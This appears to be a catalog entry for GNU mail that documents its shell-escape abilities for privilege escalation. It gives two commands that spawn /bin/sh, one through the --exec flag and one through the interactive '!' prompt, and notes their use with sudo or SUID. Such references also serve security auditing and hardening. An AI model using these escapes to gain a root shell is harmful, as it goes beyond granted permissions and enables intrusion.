GNU mail processor that can spawn a shell via exec flag or mail interactive mode.
mail {exec} {f} ๐ exec ๐ f mail {exec} {f} Sandbox: execFile · Timeout: 30s
security.privilege-escalation.shell network.email.client | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
exec | string | No | - | Execute command after processing | --exec |
f | file | No | - | Read mailbox from file | -f |
Outputs
process.output Shell output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 4 MB |
| Network | low |
| Disk I/O | low |
Spawn interactive shell via --exec flag
mail --exec='!/bin/sh' Spawn shell via interactive mail command
mail -f /etc/hosts
!/bin/sh mail reads and sends email. The GNU version can execute shell commands via the --exec flag or from the interactive prompt with !. Useful for privilege escalation when used with sudo or SUID.